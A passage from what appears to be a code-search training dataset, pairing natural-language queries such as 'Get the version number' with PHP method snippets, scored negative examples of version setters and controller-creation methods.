"public function setVersion($version) {}",
"private function setVersion($v){\n\t\t$this->version = $v;\n\t}",
"public function setVersion($version)\n {\n $this->version = $version;\n }",
"public function setVersion($version) {\n\t\t$this->version = $version;\n\t}",
"public function setVersion($version);",
"public function setVersion($version);",
"public function setVersion($version);",
"public function setVersion($version);",
"public function setVersion($version);",
"public function setVersion(?int $value): void {\n $this->getBackingStore()->set('version', $value);\n }",
"public function setVersion(string $version): void\n {\n $this->version = $version;\n }",
"private function setNewModuleVersionNumber( $version )\n {\n $sql = \"UPDATE {$this->config->dbTablePrefix}common_module\n SET\n `version`='{$version}'\n WHERE\n `name`='keyword'\";\n\n $this->model->dba->query($sql);\n }",
"private function setNewModuleVersionNumber( $version )\n {\n $sql = \"UPDATE {$this->config->dbTablePrefix}common_module\n SET\n `version`='{$version}'\n WHERE\n `name`='modcreator'\";\n\n $this->model->dba->query($sql); \n }",
"private function _log_version_number () {\n update_option( $this->_token . '_version', $this->_version );\n }",
"private function _log_version_number () {\n\t\tupdate_option( $this->_token . '_version', $this->_version );\n\t}",
"public function setVersion(Version $version): void\n {\n $this->version = $version;\n }",
"private function setVersionInternal($version) {\n if ((is_int($version) || ctype_digit($version)) && intval($version) >= 0) {\n $this->version = intval($version);\n }\n else {\n throw new \\InvalidArgumentException('Version number must be a non-negative integer');\n }\n }",
"public function setVersion($value)\n {\n return $this->set(self::_VERSION, $value);\n }",
"public function setApiVersion($version)\n {\n if (ctype_digit(strval($version))) {\n $this->apiVersion = (int)$version;\n }\n }",
"public function setNewVersion()\n {\n $difference = '9223372036854775806';\n $rand_percent = bcdiv(mt_rand(), mt_getrandmax(), 12);\n $version = bcmul($difference, $rand_percent, 0);\n $this->owner->setAttribute($this->versionField, $version);\n }",
"public function setVersion(?string $value): void {\n $this->getBackingStore()->set('version', $value);\n }",
"public function setVersion(?string $value): void {\n $this->getBackingStore()->set('version', $value);\n }",
"function setCurrentVersion(&$version) {\n\t\t$this->currentVersion = $version;\n\t}",
"public function setVersion($value)\n {\n return $this->set(self::version, $value);\n }",
"public function setVersion($value)\n {\n return $this->set(self::VERSION, $value);\n }",
"protected function assignVersion()\n {\n $this->version = '';\n }",
"private function _log_version_number () {\n\t\t// Log the version number.\n\t\tupdate_option( $this->token . '-version', $this->version );\n\t}",
"public function setApiVersion($version)\n {\n $this->_apiVersion = (int)$version;\n }",
"public function setVersion($val)\n {\n $this->_propDict[\"version\"] = $val;\n return $this;\n }",
"public function setVersion($version)\n {\n if (empty($version)) {\n throw new Exception (\"version is empty!\");\n } \n $this->version = $version;\n }",
"public function setOsVersion(?string $value): void {\n $this->getBackingStore()->set('osVersion', $value);\n }",
"public function setHttpVersion($version) {}",
"public function setVersion(Version $version)\n {\n if (! $version->isSpecified()) {\n throw new \\InvalidArgumentException(\"version for $this must be specified\");\n }\n $this->version = (string) $version;\n }",
"public function setServiceVersion($value)\n {\n $this->_headers[ODataConstants::ODATAVERSIONHEADER] \n = $value;\n }",
"public function setVersion($version)\n {\n $this->version = $version;\n\n // We need to re-build the SOAP headers.\n $this->headers = array();\n }",
"public static function setVersion($projectV=\"1.0.0\")\n {\n global $application_version;\n $application_version = $projectV;\n }",
"public function version(int|string $version): static\n {\n return $this->setAssetProperty('version', $version);\n }",
"public function setVersion(int $input)\n {\n $this->version = $input;\n return $this;\n }",
"public function setRevision($value) {}",
"public function setVersion($version) {\n throw new \\BadFunctionCallException('Cannot set version number of graded version');\n }",
"final public function setApiVersion($version)\n {\n $this->_apiVersion = $version;\n }",
"protected function assignVersion()\n {\n\n }",
"public function setVersion($version)\n {\n return $this->setParam(self::SOFTWARE_VER_PARAM_NAME, $version);\n }",
"public function setVersion($version)\n {\n if (!preg_match(\"/\\\\d+\\\\.\\\\d+\\\\.\\\\d+/i\", $version)) {\n throw new \\RuntimeException(sprintf('Invalid version string, expected VERSION=major.minor.patch'));\n }\n\n $string = \"VERSION=\" . $version;\n\n return file_put_contents($this->filepath, $string);\n }",
"public function changeVersion($num)\n {\n $versions = $this->versions()->with(['version' => (string) $num])->fetch();\n if ($versions) {\n $version = $versions[0];\n $attrs = $version->getAttributes();\n $idKey = $this->meta()->get('table') . '_id';\n\n foreach ($attrs as $field => $value) {\n if ($field !== $idKey && $field !== 'version') {\n $this->$field = $value;\n }\n }\n }\n }",
"public function setVersionReference($version)\n {\n assertion(! $this->isStockItem());\n $this->version = trim($version);\n }",
"public function setRequestedVersion($version)\n {\n $this->_options['requested_version'] = $version;\n }",
"public function SetVersion($version)\n {\n $this->messageBuilder->SetVersion($version);\n }",
"public function setRevision(?string $value): void {\n $this->getBackingStore()->set('revision', $value);\n }",
"public function update_version_number(){\n $plugin_settings = nf_get_settings();\n\n if ( !isset ( $plugin_settings['version'] ) OR ( NF_PLUGIN_VERSION != $plugin_settings['version'] ) ) {\n $plugin_settings['version'] = NF_PLUGIN_VERSION;\n update_option( 'ninja_forms_settings', $plugin_settings );\n }\n }",
"public function setVersion(string $version)\n {\n if (Validation::isValidVersionRegex($version)) {\n $this->version = $version;\n } else {\n throw new CustomException('Malformed version');\n }\n }",
"public function setOrderVersion(?int $orderVersion): void\n {\n $this->orderVersion['value'] = $orderVersion;\n }",
"function setAppVersion($major,$minor,$build,$codename=\"\",$nc_salt=false)\n{\n\t$major = intval($major);\n\t$minor = intval($minor);\n\t$build = intval($build);\n\t$GLOBALS['APP_VERSION'] = compact('major','minor','build','codename');\n\t$GLOBALS['APP_VERSION']['string'] = \"$major.$minor.$build\";\n\tif( $codename )\n\t\t$GLOBALS['APP_VERSION']['string'] .= \" ($codename)\";\n\t$GLOBALS['APP_VERSION']['nc'] = 'nc'.substr(preg_replace('/[^0-9]/', '', md5($GLOBALS['APP_VERSION']['string'].$nc_salt)), 0, 8);\n}",
"public function setProductVersion($val)\n {\n $this->_propDict[\"productVersion\"] = $val;\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkInt32($var);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkInt32($var);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($name) {\n\n // Take what is the $current variable and copy it into an entry in\n // the versions variable.\n $this->versions[$name] = $this->current;\n }",
"public function version() {\n $versionsTable = TableRegistry::get('Versions');\n $data = $versionsTable->findAllVersion();\n $this->set('web', $data[0]);\n $this->set('iOS', $data[1]);\n $this->set('android', $data[2]);\n }",
"public function setAPIVersion($vNum)\n {\n $this->provider->vNum = intval($vNum);\n }",
"public function setIdentityVersion($val)\n {\n $this->_propDict[\"identityVersion\"] = $val;\n return $this;\n }",
"public function set_version( $ver ) {\n\t\t$this->items[ $this->id ]['ver'] = $ver;\n\t\treturn $this;\n\t}",
"protected function incrementVersion(): void\n {\n $version = $this->getVersion() + 1;\n\n $this->store->forever($this->getCacheVersionKey(), $version);\n\n static::$versions[$this->prefix] = $version;\n }",
"public function set_version( $version ) {\n\t\t$this->version = $version;\n\n\t\treturn $this;\n\t}",
"public function setOsVersion($val)\n {\n $this->_propDict[\"osVersion\"] = $val;\n return $this;\n }",
"public function set_protocol_version(string $p_version) {\n if (!is_numeric($p_version)) {\n $p_version = substr($p_version, strpos($p_version, '/') + 1);\n }\n\n // Make sure that version is in the correct format\n $p_version = number_format((float)$p_version, 1);\n\n if (!in_array($p_version, $this->valid_protocol_versions, true)) {\n $protocols = implode(', ', $this->valid_protocol_versions);\n throw new RuntimeException(\"Invalid HTTP Protocol Version. Must be one of: $protocols\");\n }\n\n $this->protocol_version = $p_version;\n\n }",
"public function setVersion(string $version)\n {\n $this->version = $version;\n\n return $this;\n }",
"public function setVersion(string $version)\n {\n $this->version = $version;\n\n return $this;\n }",
"public function setPrimaryBundleVersion(?string $value): void {\n $this->getBackingStore()->set('primaryBundleVersion', $value);\n }",
"private function _setPagSeguroModuleVersion(){\n PagSeguroLibrary::setModuleVersion('prestashop-v.'.$this->module->version);\n }",
"public function setSchemaVersion($version)\n {\n $rq = $this->adodb->prepare('UPDATE ['.$this->schemaTable.'] SET [version]=?');\n $rq->execute(array($version));\n }",
"public function setProtocolVersion($version);",
"public function setProtocolVersion($version);",
"public function setVersion($path, $version, View $view) {\n\t\t$fileInfo= $view->getFileInfo($path);\n\n\t\tif($fileInfo !== false) {\n\t\t\t$cache = $fileInfo->getStorage()->getCache();\n\t\t\t$cache->update($fileInfo->getId(), ['encrypted' => $version, 'encryptedVersion' => $version]);\n\t\t}\n\t}",
"public function setVersion($var)\n {\n GPBUtil::checkString($var, True);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkString($var, True);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkString($var, True);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkString($var, True);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersion($var)\n {\n GPBUtil::checkString($var, True);\n $this->version = $var;\n\n return $this;\n }",
"public function setVersionName($versionName) {\n\t\t$this->versionName = $versionName !== null ? ((string) $versionName) : null;\n\t}",
"public function setAppVersion($appVersion) {\n $this->appVersion = $appVersion;\n }",
"public function setVersion($rel_version = null, $api_version = null)\n {\n $release = $this->findNodeRelativeTo(\n './p:version',\n $this->_requireCurrentRelease()\n );\n $version = $this->findNode('/p:package/p:version');\n if ($rel_version !== null) {\n $this->replaceTextNodeRelativeTo(\n './p:release', $version, $rel_version\n );\n $this->replaceTextNodeRelativeTo(\n './p:release', $release, $rel_version\n );\n }\n if ($api_version !== null) {\n $this->replaceTextNodeRelativeTo(\n './p:api', $version, $api_version\n );\n $this->replaceTextNodeRelativeTo(\n './p:api', $release, $api_version\n );\n }\n }",
"public function setVersions($val)\n {\n $this->_propDict[\"versions\"] = $val;\n return $this;\n }",
"public function getVersionNo()\n {\n return $this->versionNo;\n }",
"public function testVersion()\r\n {\r\n $version = '2.1';\r\n $this->vcard->setVersion($version);\r\n\r\n $this->assertSame(\"VERSION:{$version}\", $this->vcard->getVersion());\r\n }",
"public function withProtocolVersion($version)\r\n {\r\n $this->protocolVersion = $version;\r\n }",
"public function setVersion($var)\n {\n GPBUtil::checkInt32($var);\n $this->writeOneof(2, $var);\n\n return $this;\n }",
"public function setVersion($version)\n {\n $this->version = $version;\n return $this;\n }",
"public function setVersion($version)\n {\n $this->version = $version;\n return $this;\n }",
"public function setVersion($version)\n {\n $this->version = $version;\n return $this;\n }",
"public function setVersion($version)\n {\n $this->version = $version;\n return $this;\n }",
"public function setHighestAvailableVersion(?string $value): void {\n $this->getBackingStore()->set('highestAvailableVersion', $value);\n }",
"public function setVersion($version) {\n $this->properties['version'] = $version;\n\n return $this;\n }",
"public function store(int $version)\n {\n $this->filesystem->put($this->filename, $version);\n }",
"public function set_version($constant){\n\t\t// Set the version variable\n\t\t\t$this->version = $constant;\n\t\t// Set my default head\n\t\t\t$this->set_head();\n\t\treturn true;\n\t}"
]
| [
"0.80637544",
"0.8028115",
"0.78287566",
"0.78241324",
"0.78241324",
"0.78124505",
"0.7644957",
"0.7583977",
"0.75811785",
"0.75811785",
"0.75811785",
"0.75811785",
"0.75811785",
"0.75258887",
"0.7515775",
"0.7463022",
"0.7366954",
"0.7292251",
"0.72517264",
"0.7244947",
"0.72415966",
"0.71550894",
"0.71534836",
"0.7143953",
"0.71083295",
"0.71083295",
"0.70711803",
"0.7050564",
"0.7041916",
"0.697897",
"0.6941776",
"0.6873585",
"0.682583",
"0.6789433",
"0.67819726",
"0.6776361",
"0.67135215",
"0.6702285",
"0.6667223",
"0.66559756",
"0.6637136",
"0.6623768",
"0.659152",
"0.6587272",
"0.6577616",
"0.6573063",
"0.65269905",
"0.6523761",
"0.652275",
"0.64900035",
"0.6480452",
"0.6430386",
"0.6373622",
"0.63458395",
"0.6336725",
"0.63364255",
"0.63236046",
"0.6317655",
"0.62870735",
"0.62870735",
"0.62697774",
"0.62657607",
"0.624996",
"0.62282294",
"0.62197685",
"0.620903",
"0.6192397",
"0.6136466",
"0.610764",
"0.6093746",
"0.6093746",
"0.60798454",
"0.6077882",
"0.6044132",
"0.60430026",
"0.60430026",
"0.60395175",
"0.6026828",
"0.6026828",
"0.6026828",
"0.6026828",
"0.6026828",
"0.60228467",
"0.60119575",
"0.5990638",
"0.59683394",
"0.5933592",
"0.5920772",
"0.5914047",
"0.59074587",
"0.58982384",
"0.58982384",
"0.58982384",
"0.58982384",
"0.5896886",
"0.58818775",
"0.5873995",
"0.5857409"
]
| 0.7462898 | 18 |
Get the version number | public function getVersion()
{
return $this->version;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getVersionNo()\n {\n return $this->versionNo;\n }",
"public function getVersion(): int\n {\n return $this->version;\n }",
"static public function get_Version()\n {\n $version = self::get_version_number();\n \n $build_num = self::get_build_number();\n \n return \"v{$version[2]}.{$version[1]}.{$build_num}\";\n }",
"public function getVersion()\n {\n return $this->values[\"version\"];\n }",
"public function getVersion() {\n\t\tif($this->version == \"\")\n\t\t$this->version = \"0.0.0\";\n\t\treturn $this->version;\n\t}",
"public function get_version();",
"public static function getVersion()\r\n {\r\n \t$i = self::getVersionInfo();\r\n \treturn trim(\"{$i['major']}.{$i['minor']}.{$i['revision']}\" . ($i['patch'] != '' ? \".{$i['patch']}\" : \"\")\r\n \t. \"-{$i['stability']}{$i['number']}\", '.-');\r\n }",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version() {\n\t\treturn $this->version;\n\t}",
"public function get_version(): string\n {\n return $this->version;\n }",
"public function getVersion()\n {\n return $this->get(self::_VERSION);\n }",
"public function getVersion(): int;",
"public function getVersion(): int;",
"public function getVersion(): int;",
"public function getVersion() {\n\t\treturn $this->version;\n\t}",
"public function getVersion()\n {\n return $this->get(self::VERSION);\n }",
"public function getVersion(): string\n {\n return $this->rawData['version'];\n }",
"public function getVersion(): string\n {\n return $this->data->version;\n }",
"public function get_version()\n\t{\n\t\treturn $this->version;\n\t}",
"function get_version() {\n\n\t\treturn $this->version;\n\n\t}",
"public function getVersion(): string\n {\n return $this->version;\n }",
"public function getVersion(): string\n {\n return $this->version;\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function get_version()\n {\n return cms_version_number();\n }",
"public function getVersion()\n\t{\n\t\treturn $this->version;\n\t}",
"public function getVersion()\r\n {\r\n return $this->version;\r\n }",
"public function getVersion() {\r\n $version = $this->QuerySysStatus(1);\r\n return $version['ver-key'];\r\n }",
"public function get_version() { \n\n\t\treturn $this->version; \n\n\t}",
"public function get_version()\n {\n return $this->version;\n }",
"public function get_version()\n {\n return $this->version;\n }",
"public static function get_version() {\n return self::$version;\n }",
"public function getVersion()\n {\n return $version;\n }",
"public function get_version() {\n return $this->version;\n }",
"public function EngineVersionNumber() {\n $version = $this->EngineVersion();\n $start = strpos($version['VERSION'], '.');\n return intval(substr($version['VERSION'], 0, $start));\n }",
"public function getVersionID()\n {\n return $this->versionID;\n }",
"public function getVersion() {\r\n\t\t$response = $this->Client->execute('show version');\r\n\t\tpreg_match('/Version:\\s+VyOS\\s([0-9\\.]+)/', $response, $matches );\r\n\t\t$version = $matches[1];\r\n\t\treturn $version;\r\n\t}",
"public function getVersion() {\r\n return $this->version;\r\n }",
"public function getVersion() {\n\t\treturn self::$version;\n\t}",
"public static function getVersion()\n\t{\n\t\treturn self::$_version;\n\t}",
"public function getVersion()\n {/*{{{*/\n return $this->_version;\n }",
"public function getVersion(){\n\t\treturn $this->version;\n\t}",
"public function getVersion()\n {\n $value = $this->get(self::version);\n return $value === null ? (string)$value : $value;\n }",
"public function getVersion() {\n return isset($this->data['version']) ? $this->data['version'] : null;\n }",
"public final function getVersion() : string\n {\n return $this->version;\n }",
"public static function getVersionAsInteger()\n {\n if (self::$_version === null) {\n self::_determineVersion();\n }\n return self::$_version;\n }",
"public function getVersion()\n {\n return $this->sendrequest('version', null);\n }",
"public function version() {\n\t\t$app = $this->app;\n\t\treturn intval($app::VERSION);\n\t}",
"public function getVersion(){\n $client = Yii::$app->infoServices;\n return $client->getVersion()->return->version;\n }",
"public function getVersion()\n {\n if (is_null($this->version)) {\n /** @psalm-var ?int $data */\n $data = $this->raw(self::FIELD_VERSION);\n if (is_null($data)) {\n return null;\n }\n $this->version = (int) $data;\n }\n\n return $this->version;\n }",
"public function getVersionId()\n {\n return $this->version_id;\n }",
"public function getVersionId()\n {\n return $this->version_id;\n }",
"public function getVersionId() {\n\t\treturn $this->versionId;\n\t}",
"public function getVersionString() {\n\t\tif ($this->installedVersion === 'core') {\n\t\t\treturn Cgn_SystemRunner::getReleaseNumber();\n\t\t}\n\t\treturn $this->installedVersion;\n\t}",
"public function getVersion() {\n return $this->_version;\n }",
"public function getVersion(): string {}",
"function GetVersion()\n {\n return '1.0';\n }",
"public function getVersion() {\r\n return $this->versione;\r\n }"
]
| [
"0.8320254",
"0.81703013",
"0.8076333",
"0.8052313",
"0.7990021",
"0.7961174",
"0.79463434",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7934335",
"0.7929219",
"0.79278606",
"0.79166377",
"0.79166377",
"0.79166377",
"0.78829503",
"0.7877588",
"0.78668207",
"0.786382",
"0.78543764",
"0.7843996",
"0.7842189",
"0.7842189",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7838327",
"0.7820279",
"0.78187215",
"0.78138524",
"0.78047323",
"0.7795158",
"0.7795158",
"0.77947694",
"0.778833",
"0.7782706",
"0.7777582",
"0.77652484",
"0.77588534",
"0.7756486",
"0.77470505",
"0.77333415",
"0.7719464",
"0.77180505",
"0.77147853",
"0.76721627",
"0.7640937",
"0.7630135",
"0.76278096",
"0.7622739",
"0.7616928",
"0.76163834",
"0.7610854",
"0.7610854",
"0.75974727",
"0.7595888",
"0.7591777",
"0.7577845",
"0.7561482",
"0.7552171"
]
| 0.7766868 | 76 |
Create a new controller instance. | public function __construct()
{
// $this->middleware('guest');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function createController()\n {\n $this->createClass('controller');\n }",
"protected function createController()\n {\n $controller = Str::studly(class_basename($this->getNameInput()));\n\n $modelName = $this->qualifyClass('Models/'.$this->getNameInput());\n\n $this->call('make:controller', array_filter([\n 'name' => \"{$controller}Controller\",\n '--model' => $modelName,\n '--api' => true,\n ]));\n }",
"protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n $model_name = $this->qualifyClass($this->getNameInput());\n $name = Str::contains($model_name, ['\\\\']) ? Str::afterLast($model_name, '\\\\') : $model_name;\n\n $this->call('make:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $model_name,\n ]);\n\n $path = base_path() . \"/app/Http/Controllers/{$controller}Controller.php\";\n $this->cleanupDummy($path, $name);\n }",
"private function makeInitiatedController()\n\t{\n\t\t$controller = new TestEntityCRUDController();\n\n\t\t$controller->setLoggerWrapper(Logger::create());\n\n\t\treturn $controller;\n\t}",
"protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n ]));\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"Api/{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n '--api' => true,\n ]));\n }",
"protected function createController()\n {\n $name = str_replace(\"Service\",\"\",$this->argument('name'));\n\n $this->call('make:controller', [\n 'name' => \"{$name}Controller\"\n ]);\n }",
"protected function createController()\n {\n $params = [\n 'name' => $this->argument('name'),\n ];\n\n if ($this->option('api')) {\n $params['--api'] = true;\n }\n\n $this->call('wizard:controller', $params);\n }",
"public function generateController () {\r\n $controllerParam = \\app\\lib\\router::getPath();\r\n $controllerName = \"app\\controller\\\\\" . end($controllerParam);\r\n $this->controller = new $controllerName;\r\n }",
"public static function newController($controller)\n\t{\n\t\t$objController = \"App\\\\Controllers\\\\\".$controller;\n\t\treturn new $objController;\n\t}",
"public function createController()\n\t{\n\t\tif(class_exists($this->controller))\n\t\t{\n\t\t\t// get the parent class he extends\n\t\t\t$parents = class_parents($this->controller);\n\n\t\t\t// $parents = class_implements($this->controller); used if our Controller was just an interface not a class\n\n\t\t\t// check if the class implements our Controller Class\n\t\t\tif(in_array(\"Controller\", $parents))\n\t\t\t{\n\t\t\t\t// check if the action in the request exists in that class\n\t\t\t\tif(method_exists($this->controller, $this->action))\n\t\t\t\t{\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Action is not exist\n\t\t\t\t\techo 'Method '. $this->action .' doesn\\'t exist in '. $this->controller;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// The controller doesn't extends our Controller Class\n\t\t\t\techo $this->controller.' doesn\\'t extends our Controller Class';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Controller Doesn't exist\n\t\t\techo $this->controller.' doesn\\'t exist';\n\t\t}\n\t}",
"public function createController( ezcMvcRequest $request );",
"public function createController() {\n //check our requested controller's class file exists and require it if so\n /*if (file_exists(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\")) {\n require(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\");\n } else {\n throw new Exception('Route does not exist');\n }*/\n\n try {\n require_once __DIR__ . '/../Controllers/' . $this->controllerName . '.php';\n } catch (Exception $e) {\n return $e;\n }\n \n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n \n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\",$parents)) { \n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->endpoint)) {\n return new $this->controllerClass($this->args, $this->endpoint, $this->domain);\n } else {\n throw new Exception('Action does not exist');\n }\n } else {\n throw new Exception('Class does not inherit correctly.');\n }\n } else {\n throw new Exception('Controller does not exist.');\n }\n }",
"public static function create()\n\t{\n\t\t//check, if a JobController instance already exists\n\t\tif(JobController::$jobController == null)\n\t\t{\n\t\t\tJobController::$jobController = new JobController();\n\t\t}\n\n\t\treturn JobController::$jobController;\n\t}",
"private function controller()\n {\n $location = $this->args[\"location\"] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n $relative_location = $this->args['application_folder'] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n\n if (!empty($this->args['subdirectories']))\n {\n $location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n $relative_location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n\n if (!is_dir($location))\n {\n mkdir($location, 0755, TRUE);\n }\n\n $relative_location .= $this->args['filename'];\n $filename = $location . $this->args['filename'];\n\n $args = array(\n \"class_name\" => ApplicationHelpers::camelize($this->args['name']),\n \"filename\" => $this->args['filename'],\n \"application_folder\" => $this->args['application_folder'],\n \"parent_class\" => (isset($this->args['parent'])) ? $this->args['parent'] : $this->args['parent_controller'],\n \"extra\" => $this->extra,\n 'relative_location' => $relative_location,\n 'helper_name' => strtolower($this->args['name']) . '_helper',\n );\n\n $template = new TemplateScanner(\"controller\", $args);\n $controller = $template->parse();\n\n $message = \"\\t\";\n if (file_exists($filename))\n {\n $message .= 'Controller already exists : ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'light_blue');\n }\n $message .= $relative_location;\n }\n elseif (file_put_contents($filename, $controller))\n {\n $message .= 'Created controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green');\n }\n $message .= $relative_location;\n }\n else\n {\n $message .= 'Unable to create controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red');\n }\n $message .= $relative_location;\n }\n\n // The controller has been generated, output the confirmation message\n fwrite(STDOUT, $message . PHP_EOL);\n\n // Create the helper files.\n $this->helpers();\n\n $this->assets();\n\n // Create the view files.\n $this->views();\n\n return;\n }",
"public function createController( $controllerName ) {\r\n\t\t$refController \t\t= $this->instanceOfController( $controllerName );\r\n\t\t$refConstructor \t= $refController->getConstructor();\r\n\t\tif ( ! $refConstructor ) return $refController->newInstance();\r\n\t\t$initParameter \t\t= $this->setParameter( $refConstructor );\r\n\t\treturn $refController->newInstanceArgs( $initParameter ); \r\n\t}",
"public function create($controllerName) {\r\n\t\tif (!$controllerName)\r\n\t\t\t$controllerName = $this->defaultController;\r\n\r\n\t\t$controllerName = ucfirst(strtolower($controllerName)).'Controller';\r\n\t\t$controllerFilename = $this->searchDir.'/'.$controllerName.'.php';\r\n\r\n\t\tif (preg_match('/[^a-zA-Z0-9]/', $controllerName))\r\n\t\t\tthrow new Exception('Invalid controller name', 404);\r\n\r\n\t\tif (!file_exists($controllerFilename)) {\r\n\t\t\tthrow new Exception('Controller not found \"'.$controllerName.'\"', 404);\r\n\t\t}\r\n\r\n\t\trequire_once $controllerFilename;\r\n\r\n\t\tif (!class_exists($controllerName) || !is_subclass_of($controllerName, 'Controller'))\r\n\t\t\tthrow new Exception('Unknown controller \"'.$controllerName.'\"', 404);\r\n\r\n\t\t$this->controller = new $controllerName();\r\n\t\treturn $this;\r\n\t}",
"private function createController($controllerName)\n {\n $className = ucfirst($controllerName) . 'Controller';\n ${$this->lcf($controllerName) . 'Controller'} = new $className();\n return ${$this->lcf($controllerName) . 'Controller'};\n }",
"public function createControllerObject(string $controller)\n {\n $this->checkControllerExists($controller);\n $controller = $this->ctlrStrSrc.$controller;\n $controller = new $controller();\n return $controller;\n }",
"public function create_controller($controller, $action){\n\t $creado = false;\n\t\t$controllers_dir = Kumbia::$active_controllers_dir;\n\t\t$file = strtolower($controller).\"_controller.php\";\n\t\tif(file_exists(\"$controllers_dir/$file\")){\n\t\t\tFlash::error(\"Error: El controlador '$controller' ya existe\\n\");\n\t\t} else {\n\t\t\tif($this->post(\"kind\")==\"applicationcontroller\"){\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends ApplicationController {\\n\\n\\t\\tfunction $action(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tif(@file_put_contents(\"$controllers_dir/$file\", $filec)){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends StandardForm {\\n\\n\\t\\tpublic \\$scaffold = true;\\n\\n\\t\\tpublic function __construct(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tfile_put_contents(\"$controllers_dir/$file\", $filec);\n\t\t\t\tif($this->create_model($controller, $controller, \"index\")){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($creado){\n\t\t\t Flash::success(\"Se creó correctamente el controlador '$controller' en '$controllers_dir/$file'\");\n\t\t\t}else {\n\t\t\t Flash::error(\"Error: No se pudo escribir en el directorio, verifique los permisos sobre el directorio\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t$this->route_to(\"controller: $controller\", \"action: $action\");\n\t}",
"private function instanceController( string $controller_class ): Controller {\n\t\treturn new $controller_class( $this->request, $this->site );\n\t}",
"public function makeController($controller_name)\n\t{\n\t\t$model\t= $this->_makeModel($controller_name, $this->_storage_type);\n\t\t$view\t= $this->_makeView($controller_name);\n\t\t\n\t\treturn new $controller_name($model, $view);\n\t}",
"public function create()\n {\n $output = new \\Symfony\\Component\\Console\\Output\\ConsoleOutput();\n $output->writeln(\"<info>Controller Create</info>\");\n }",
"protected function createDefaultController() {\n Octopus::requireOnce($this->app->getOption('OCTOPUS_DIR') . 'controllers/Default.php');\n return new DefaultController();\n }",
"private function createControllerDefinition()\n {\n $id = $this->getServiceId('controller');\n if (!$this->container->has($id)) {\n $definition = new Definition($this->getServiceClass('controller'));\n $definition\n ->addMethodCall('setConfiguration', [new Reference($this->getServiceId('configuration'))])\n ->addMethodCall('setContainer', [new Reference('service_container')])\n ;\n $this->container->setDefinition($id, $definition);\n }\n }",
